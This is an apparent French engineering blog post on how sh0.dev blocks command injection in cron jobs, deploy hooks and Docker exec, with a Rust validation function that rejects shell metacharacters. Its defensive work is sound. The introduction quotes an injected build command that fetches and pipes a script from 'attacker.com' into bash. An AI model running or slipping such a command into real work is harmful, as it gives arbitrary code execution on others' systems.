Prévention de l'injection de commandes dans un PaaS

Voici le paradoxe fondamental de la construction d'un Platform-as-a-Service : le produit a pour objectif même d'exécuter des commandes fournies par l'utilisateur. Les hooks de déploiement exécutent npm run build. Les tâches cron lancent python cleanup.py. Les sessions Docker exec passent des commandes shell aux conteneurs en cours d'exécution. Vous ne pouvez pas simplement rejeter toute entrée utilisateur qui ressemble à une commande -- les commandes sont le produit.

Mais un PaaS qui exécute des entrées shell arbitraires est à un point-virgule de la catastrophe. npm run build; curl attacker.com/shell.sh | bash ressemble à une commande de build avec un suffixe créatif. C'est en réalité une exécution de code arbitraire sur votre infrastructure.

Cet article couvre comment nous avons construit la prévention d'injection de commandes pour sh0.dev : la fonction validate_command(), les trois surfaces d'attaque qu'elle protège, et les défenses complémentaires qui rendent le système sûr sans le rendre inutilisable.

Les trois surfaces d'attaque

sh0 accepte des commandes fournies par l'utilisateur à trois endroits : les tâches cron (risque le plus élevé -- s'exécutent sans surveillance), les hooks de déploiement (s'exécutent pendant le pipeline), et le Docker exec (terminal web -- défendu par authentification/autorisation plutôt que validation de commande).

La fonction validate_command()

Notre défense est une fonction de validation stricte qui rejette les commandes contenant des métacaractères shell. La fonction s'exécute à la frontière API -- avant que la commande ne soit stockée en base de données.

rustconst FORBIDDEN_CHARS: &[char] = &[';', '|', '&', '`', '>', '<', '\n', '\r'];
const FORBIDDEN_PATTERNS: &[&str] = &["$(", "${"];
const MAX_COMMAND_LENGTH: usize = 4096;

pub fn validate_command(cmd: &str) -> Result<(), ApiError> {
    if cmd.is_empty() {
        return Err(ApiError::BadRequest("La commande ne peut pas être vide".into()));
    }
    if cmd.len() > MAX_COMMAND_LENGTH {
        return Err(ApiError::BadRequest(
            format!("La commande dépasse la longueur maximale de {} caractères", MAX_COMMAND_LENGTH)
        ));
    }
    for ch in FORBIDDEN_CHARS {
        if cmd.contains(*ch) {
            return Err(ApiError::BadRequest(
                format!("La commande contient un caractère interdit : '{}'", ch)
            ));
        }
    }
    for pattern in FORBIDDEN_PATTERNS {
        if cmd.contains(pattern) {
            return Err(ApiError::BadRequest(
                format!("La commande contient un motif interdit : '{}'", pattern)
            ));
        }
    }
    Ok(())
}

La question des faux positifs

L'objection la plus courante au rejet des métacaractères est les faux positifs. « Et si ma tâche cron a légitimement besoin d'un pipe ? » La réponse : écrivez un script. Au lieu de cat log.txt | grep ERROR | wc -l, créez un fichier count_errors.sh dans votre dépôt et définissez la commande cron sur bash /app/count_errors.sh.

La pile de défense en profondeur

Leçons apprises

1. Valider à la frontière, pas à l'exécution. La validation de commande se produit quand l'utilisateur crée la tâche cron.
2. Le rejet bat l'échappement. L'échappement des métacaractères shell est fragile et spécifique au shell.
3. Le pattern fichier-script résout le problème d'utilisabilité.
4. La défense en profondeur n'est pas optionnelle.
5. Les messages d'erreur sont une fonctionnalité UX de sécurité. Des messages spécifiques transforment un rejet frustrant en moment d'apprentissage.

Cet article fait partie de la série « Comment nous avons construit sh0.dev ».